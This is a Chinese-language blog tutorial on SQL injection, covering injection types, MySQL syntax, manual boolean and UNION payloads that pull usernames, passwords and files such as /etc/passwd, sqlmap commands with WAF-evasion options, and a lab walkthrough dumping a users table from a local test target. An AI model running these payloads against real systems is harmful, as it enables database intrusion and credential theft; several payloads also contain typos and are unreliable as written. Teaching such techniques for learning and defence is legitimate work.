【网络安全】浅识 SQL 注入

前言

SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

SQL 注入已经成为互联网世界 Web 应用程序的最大风险,我们有必要从开发、测试、上线等各个环节对其进行防范。下面博主将简单介绍 SQL 注入的原理及实战操作。

简介

什么是 SQL 注入?

通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。

  1. 对于 Web 应用程序而言,用户核心数据存储在数据库中,如 MySQL,SQL Server,Oracle;

  2. 通过 SQL 注入攻击,可以获取,修改,删除数据库信息,并且通过提权来控制 Web 服务器等;

  3. SQL 注入由研究员 Rain Forest Puppy 发现,在1998年对外发表文章《NT Web Technology Vulnerabilities》;

  4. SQL 注入即攻击者通过构造特殊的 SQL 语句,入侵目标系统,致使后台数据库泄露数据的过程;

  5. 因为 SQL 注入漏洞造成的严重危害性,所以常年稳居 OWASP TOP10 的榜首!


SQL 注入之后可以做些什么?

  1. 用户信息被泄露;
  2. 用户信息被非法倒卖;
  3. 危害企业,政府,国家安全;

分类

以注入位置分类

  • GET 注入
  • POST 注入
  • Cookie 注入
  • 搜索注入

以参数类型分类

  • 字符注入
  • 数字注入

以注入技术分类

  • 错误注入
  • 布尔注入
  • UNION 注入
  • 时间盲注
  • ASCII 逐字解码:折半拆解

基础语法

数据库操作

SQL作用
SHOW DATABASES;显示 MySQL 的数据库列表;
USE DBNAME;指定接下来要操作的数据库;
SHOW TABLES;显示该数据库的所有数据表;
SHOW TABLE STATUS FROM DBNAME;显示该库中所有表的详细信息;
SELECT VERSION();查看数据库管理系统的版本;
SELECT DATABASE();查看当前使用的是哪个数据库;
SELECT USER();查看当前使用的用户;
SELECT @@DATADIR查看数据库的数据路径;
SELECT @@BASEDIR查看数据库的安装路径;
SELECT @@VERSION_COMPILE_OS查看操作系统的版本;

数据表操作

image.png

image.png

image.png

image.png


数据操作

插入: image.png

查询: image.png

删除: image.png

注入流程

  1. 判断是否有 SQL 注入漏洞;

  2. 判断操作系统和数据库类型;

  3. 获取数据库信息;

  4. 加密信息破解;

  5. 提升权限;

  6. 内网渗透;

image.png

手动注入

布尔注入

闭合 SQL 语句,构造 orand 逻辑语句、注释多余的代码;

  • or 1=1 -- 注释后有空格;
  • admin' and 1=1 -- ' 查询指定账号的密码;
  • admin' or 1=1 -- ' 查询所有账号密码;

union

  • 前后查询的项数和顺序要一样;```
    SELECT column_name(s) FROM table1
    UNION
    SELECT column_name(s) FROM table2;

    
    
  • 'union select 1,2 -- ' | 'union select 1,2,3 -- ' 先测试查询有几项;

查询数据库

  • 'union select 1,table_name from INFORMATION_SCHEMA.tables -- '
  • 'union select version(),database() from INFORMATION_SCHEMA.tables -- '
  • 'union selcect user(),databases() form INFORMATION_SCHEMA.tables -- '
  • 'union select load_file('/etc/password'),database() from INFORMATION_SCHEMA.tables -- '
  • 'union select load_file('2f6...264'),database() from INFORMATION_SCHEMA.tables -- ' 16进制;
  • information_schema 数据库是 MYSQL 自带的,提供了访问数据库元数据的方式。元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

查询数据表

'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '

查询数据列

'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '

image.png

image.png

SQLMap

image.png

GET 方法注入

  • sqlmap -u "url" 指定检测的网址;
  • sqlmap -u "url" -p username --users 查看数据库用户信息;
  • sqlmap -u "url" -p username -dbs 查看有多少数据库;

POST 方法注入

采用 fiddler/burpsuite/tamper 等代理工具,拦截 POST 请求内容,将 POST 请求内容保存到 post.txt 文件中,并让 sqlmap 调用,设置到带 cookie 才能访问的注入页面,则可以采用 -r 参数来实现;

  • sqlmap -r post.txt --dbs
  • sqlmap -r post.txt --users
  • sqlmap -r post.txt --all

带 cookie 参数注入

sqlmap -u "url" cookie=" " --dbs

混淆注入

用于绕过或识别 WAF/IDS/IPS;

  • sqlmap -u "url" --dbms=mysql --skip-waf (绕过 waf 防火墙) --random-agent( 使用随机 http 头部)
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile 模拟手机请求;
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --level 3 risk=2 提高安全/危险等级;
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart 智能模式(温和);
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart --offline 减少跟对方的交互;

数据获取

image.png

sqlmap -r /root/Desktop/post --tables -D "数据库名" 查看当前数据库的数据表;

实战

image.png

打开靶机,进入靶场,发现是 get 传参,

image.png

启动 SQLMap,指定传参 name,看看有没有注入点,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name

image.png

获取到相应信息,可以进行 SQL 注入,先查看所有的数据库 sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dbs

image.png

有两个数据库,分别为 exercisesinformation_schema,查询 exercises 数据库,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --tables -D "exercises"

image.png

只有一个 users 表,查看这个表的所有字段,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --columns -T "users" -D "exercises"

image.png

查看比较有用的三个字段 idnamepasswdsqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dump -C "id,name,passwd" -T "users" -D "exercises"

image.png

接下来就是该干嘛干嘛,不过建议点到为止

后记

以上就是 【网络安全】浅识 SQL 注入 的全部内容了,简单的介绍了一些与 SQL 注入相关的内容,也讲解了在 SQL 注入中经常要用到的一些基础语法,注入流程等,同时结合实战,更加透彻的讲解了 SQL 注入,希望对大家有所帮助!

再次声明:本博文仅供学习使用,请勿他用!!!

网络安全学习资料分享

学习网络安全的些许准备

学习网络安全不需要配置很高的电脑,黑客用的电脑,从来不是根据高配置选择电脑,只要稳定就行。因为黑客所使用的一些程序,低端 CPU 也可以很好的运行,而且不占什么内存。黑客是在 DOS 命令下对进行的,电脑能使用到最佳状态就可以了。

很多人会纠结学习黑客到底是用 Linux 还是 Windows 或者是 Mac 系统,Linux 系统对于新人入门并不友好。Windows 系统一样可以用虚拟机装靶机进行学习,当然是根据学习者自己的感觉来选择系统。

至于编程语言,Python、PHP、 C++、Java 都是可以的,学习编程只是工具不是目的,我们的目标不是成为程序员,而是成为网络安全员,编程只是为了看懂程序。

网络安全学习路线

在这里插入图片描述

第一阶段:基础操作入门

入门的第一步是学习一些当下主流的安全工具课程并配套基础原理的书籍,一般来说这个过程在 1 个月左右比较合适。

在学习基础入门课程的同时,同时阅读相关的书籍补充理论知识,这里比较推荐以下几本书:

《白帽子讲Web安全》

《Web安全深度剖析》

《Web安全攻防 渗透测试实战指南》

在这里插入图片描述

第二阶段:学习基础知识

在这个阶段,你已经对网络安全有了基本的了解。如果你认真学习完第一步,什么是 sql 注入,什么是 xss 攻击这些已经都明白了,对 burp、cs 等安全工具也掌握了基础操作。这个时候最重要的就是开始打地基!所谓的“打地基”其实就是系统化的学习计算机基础知识

第三阶段:实战操作

1.挖 SRC

挖 SRC 的目的主要是讲技能落在实处,学习网络安全最大的幻觉就是觉得自己什么都懂了,但是到了真的挖漏洞的时候却一筹莫展,更多的还是要进行实操,把理论知识运用到实践中,确保更好的掌握知识点。

在这里插入图片描述

2.从技术分享帖学习

观看学习近十年所有挖掘的帖,然后搭建环境,去复现漏洞,去思考学习笔者的挖洞思维,培养自己的渗透思维。

到这一步,再加上之后对挖掘漏洞的技术多加练习与积累实战经验,基本就可以达到安全工程师的级别

至于文中所提到的学习路线,网络安全书籍,SRC,常用工具安装包等资料都已经上传到CSDN

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值